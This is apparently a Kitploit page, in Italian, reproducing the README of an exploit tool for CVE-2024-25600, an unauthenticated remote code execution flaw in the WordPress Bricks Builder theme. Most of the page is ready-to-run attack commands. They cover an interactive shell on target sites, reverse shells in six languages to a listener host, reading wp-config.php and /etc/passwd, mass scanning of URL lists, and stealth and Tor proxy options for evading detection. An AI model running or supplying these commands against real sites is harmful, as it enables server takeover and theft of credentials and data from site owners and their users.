WP-Bricks-Exploit-CVE-2024-25600 — CVE-2024-25600 - Exploit RCE non autenticato per il tema WordPress Bricks Builder. Framework di sfruttamento avanzato con shell interattiva, reverse shell, upload/download di file, scansione asincrona, modalità stealth, supporto proxy e scansione di vulnerabilità multi-thread. Solo per test di sicurezza autorizzati. | Kitploit

Attributo	Valore
CVE ID	CVE-2024-25600
CVSS	9.8 (Critico)
Vettore d'attacco	Rete — non autenticato
Impatto	Esecuzione di codice remoto totale, compromissione di riservatezza / integrità / disponibilità
Prodotto interessato	Tema WordPress Bricks Builder
Versioni interessate	Bricks ≤ 1.9.6 (corretto in 1.9.6.1+)
Tipo di vulnerabilità	Esecuzione di codice remoto non autenticata
CWE	CWE-94 (Controllo improprio della generazione del codice)

Capacità	Descrizione
Rilevamento vulnerabilità	Conferma RCE tramite sonda basata su marker controllato
Estrazione nonce	Scoperta nonce multi-metodo (script, sorgente pagina, meta, REST)
Rilevamento versione	Identifica versione di Bricks Builder da CSS / readme / REST
Shell interattiva	REPL completo con cronologia, completamento automatico e trasferimento file
Modalità comando singolo	Esegue un comando e termina (adatto a script)
Helper shell inversa	Genera shell inverse bash / nc / Python / PHP / Perl / Ruby
Estrazione wp-config	Tenta di localizzare e leggere `wp-config.php`
Scansione di massa	Scansione multi-target asincrona o con thread da un elenco di URL

Capacità	Descrizione
Limitazione della velocità	Ritardo configurabile tra le richieste
Logica di ripetizione	Backoff esponenziale su timeout ed errori di connessione
Rotazione User-Agent	Impronte digitali casuali del browser per richiesta
Modalità stealth	Intestazioni Accept-Language / Accept-Encoding randomizzate
Supporto proxy	HTTP, HTTPS, SOCKS5 / SOCKS5h
Doppi endpoint	Preferisce `wp-json`, `rest_route` o entrambi
Modalità forzata	Salta il pre-controllo e tenta lo sfruttamento direttamente
CLI ricca	Barre di avanzamento, tabelle e pannelli colorati tramite Rich

Capacità	Descrizione
Esportazione JSON / TXT	Salva risultati di scansione e target vulnerabili
Cronologia comandi	Registrazione opzionale dei comandi eseguiti
Log su file	`bricks_rce.log` persistente più percorsi di log personalizzati

git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

# Shell interattiva
python3 cve-2024-25600.py -u https://target.example

# Comando singolo
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# Scansione di massa
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# Rilevamento versione
python3 cve-2024-25600.py -u https://target.example --detect-version

# Tramite proxy Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# Payload predefinito basato su eccezione PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# Payload basato su system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

# Terminale 1 — ascoltatore
nc -lvnp 4444

# Terminale 2 — shell inversa bash
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

# Entrambi gli endpoint (predefinito)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# Solo /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# Solo /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

# UA personalizzato
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# Disabilita rotazione UA casuale
python3 cve-2024-25600.py -u https://target.example --no-random-ua

# Proxy HTTP (es. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (DNS tramite proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

# Salva risultati scansione come JSON
python3 cve-2024-25600.py -f targets.txt -o results.json

# Salva risultati scansione come TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt

# File di log applicativo personalizzato
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# Log dei comandi eseguiti
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

# Logging verbose / debug
python3 cve-2024-25600.py -u https://target.example -v

# Modalità silenziosa (output minimo)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Argomento	Predefinito	Descrizione
`-t`, `--threads`	`10`	Worker concorrenti per scansioni di massa
`--delay`	`0.5`	Ritardo tra le richieste (secondi)
`--timeout`	`15`	Timeout richiesta HTTP (secondi)
`--max-retries`	`3`	Tentativi di ripetizione in caso di fallimento
`--force`	disattivato	Salta controllo vulnerabilità
`--sync`	disattivato	Usa pool di thread invece di asincrono

Argomento	Descrizione
`--user-agent`	Stringa User-Agent personalizzata
`--no-random-ua`	Disabilita rotazione User-Agent
`--proxy`	URL proxy (`http://`, `https://`, `socks5://`, `socks5h://`)
`--stealth`	Abilita modalità stealth (intestazioni casuali + ritardi)
`--endpoint`	`json` \| `rest_route` \| `both` (predefinito: `both`)

Argomento	Descrizione
`--cmd`	Esegue un singolo comando e termina
`--payload`	Tipo di payload: `php` (predefinito) o `system`
`--reverse-shell`	Tipo di shell: `bash`, `nc`, `python`, `php`, `perl`, `ruby`
`--lhost`	Host dell'ascoltatore per shell inversa
`--lport`	Porta dell'ascoltatore per shell inversa
`--extract-wp-config`	Tenta di estrarre `wp-config.php`
`--detect-version`	Rileva versione di Bricks Builder
`--save-output`	Salva output del singolo comando in un file

Argomento	Descrizione
`-o`, `--output`	File risultati (`.json` o `.txt`)
`--log-file`	Percorso log dettagliato personalizzato
`--command-log`	Registra comandi eseguiti in un file
`-v`, `--verbose`	Logging di debug
`-q`, `--quiet`	Output console minimo
`--verify-ssl`	Abilita verifica certificato SSL (disabilitato per impostazione predefinita)

Comando	Descrizione
`exit`	Esce dalla shell
`help`	Mostra aiuto
`clear`	Pulisce lo schermo
`download [remoto]`	Scarica un file remoto (trasferimento base64)
`upload [locale] [remoto]`	Carica un file locale sul target
`php [comando]`	Esegue tramite payload PHP (predefinito)
`system [comando]`	Esegue tramite payload `system()`

Metrica	Descrizione
Totale elaborati	URL scansionati
Riusciti	Confermati vulnerabili
Falliti	Non vulnerabili / irraggiungibili
Vulnerabili trovati	Conteggio target RCE confermati
Comandi eseguiti	Numero totale di esecuzioni comando RCE
Tempo trascorso	Durata scansione a orologio

{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

Sintomo	Cosa provare
Nonce non trovato	Conferma che Bricks sia attivo; prova `-v`; assicurati che la pagina principale carichi
Target non vulnerabile	Verifica Bricks ≤ 1.9.6; prova `--force`; controlla entrambi gli endpoint
Timeout di connessione	Aumenta `--timeout` / `--max-retries`; controlla il proxy
Limitazione velocità (429)	Aumenta `--delay`; abilita `--stealth`
Errori SSL	Per impostazione predefinita salta verifica; usa `--verify-ssl` solo se necessario
Instabilità asincrona	Usa `--sync` per scansione con thread
Shell inversa fallisce	Conferma che l'ascoltatore sia attivo; prova tipi di shell alternativi (`python`, `nc`)
Output comando vuoto	Il comando potrebbe essere riuscito senza stdout; prova `echo test`
wp-config non trovato	I percorsi variano per host; usa shell interattiva con `find` / `cat` personalizzato

# Controllo verbose su singolo target
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# Tramite Burp per ispezione richieste
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# Preferisci un endpoint specifico
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

exploit/
├── cve-2024-25600.py     # BricksRCE Exploiter (v1.0)
├── requirements.txt      # Dipendenze Python
├── README.md             # Questo file
├── bricks_rce.log        # Log di runtime (generato)
└── venv/                 # Virtualenv locale (opzionale, non committato)

Licenza MIT

Copyright (c) 2024–2026 Sudeepa Wanigarathna

Con la presente viene concessa autorizzazione, gratuitamente, a chiunque ottenga una copia
di questo software e dei file di documentazione associati (il "Software"), di trattare
il Software senza restrizioni, inclusi, senza limitazione, i diritti
di utilizzare, copiare, modificare, unire, pubblicare, distribuire, concedere in sublicenza e/o vendere
copie del Software, e di consentire alle persone a cui il Software è
fornito di fare altrettanto, alle seguenti condizioni:

L'avviso di copyright sopra indicato e questo avviso di autorizzazione devono essere inclusi in tutte le
copie o parti sostanziali del Software.

IL SOFTWARE VIENE FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O
IMPLICITA, IVI COMPRESE, MA SENZA LIMITAZIONE, LE GARANZIE DI COMMERCIABILITÀ,
IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT
POTRANNO ESSERE RITENUTI RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA
RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O ALTRO, DERIVANTE DA,
O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.

Endpoint	Metodo
`/wp-json/bricks/v1/render_element`	`POST`
`/?rest_route=/bricks/v1/render_element`	`POST`

Argomento	Descrizione
`-u`, `--url`	URL del singolo target
`-f`, `--file`	File contenente URL target (uno per riga)

File	Scopo
`bricks_rce.log`	Log applicativo predefinito con append
`--log-file PATH`	Gestore log personalizzato aggiuntivo
`--command-log PATH`	Tracciamento comandi eseguiti

Ruolo	Nome
Autore dello strumento	Sudeepa Wanigarathna
CVE	CVE-2024-25600
Strumento	BricksRCE Exploiter v1.0
Script principale	`cve-2024-25600.py`
Licenza	MIT

Più Popolari

WP-Bricks-Exploit-CVE-2024-25600

Informazioni

BricksRCE Exploiter

CVE-2024-25600 — WordPress Bricks Builder RCE non autenticato

Sommario

Panoramica

Dettagli della vulnerabilità

Endpoint interessati

Riepilogo dell'attacco

Riferimenti

Funzionalità

Capacità principali

Controlli operativi

Reportistica

Installazione

Prerequisiti

Configurazione

Dipendenze

Avvio rapido

Guida all'uso

1. Mostrare l'aiuto

2. Shell interattiva su singolo target

3. Eseguire un singolo comando

4. Scegliere il tipo di payload

5. Rilevare la versione di Bricks Builder

6. Estrarre wp-config.php

7. Shell inverse (solo laboratorio autorizzato)

8. Modalità forzata (salta controllo vulnerabilità)

9. Scansione di massa da file

10. Selezione endpoint

11. Modalità stealth

12. User-Agent personalizzato

13. Supporto proxy

14. Verifica SSL

15. Output e logging

16. Modalità verbose e silenziosa

17. Ottimizzazione delle prestazioni

18. Esempio di valutazione completa combinata

19. Comandi integrati della shell interattiva

Riferimento dei comandi

Opzioni target

Opzioni di scansione

Opzioni stealth

Opzioni di sfruttamento

Opzioni di output

Shell interattiva

Comandi integrati

Funzionalità

Output e logging

Console

Tabella dei risultati della scansione

Esportazione JSON (-o results.json)

File di log

Risoluzione dei problemi

Flusso di lavoro di debug

Struttura del repository

Cronologia versioni

v1.0.0 — Versione iniziale

Disclaimer

Autore e crediti

Licenza

Supporto

Esportazione JSON (`-o results.json`)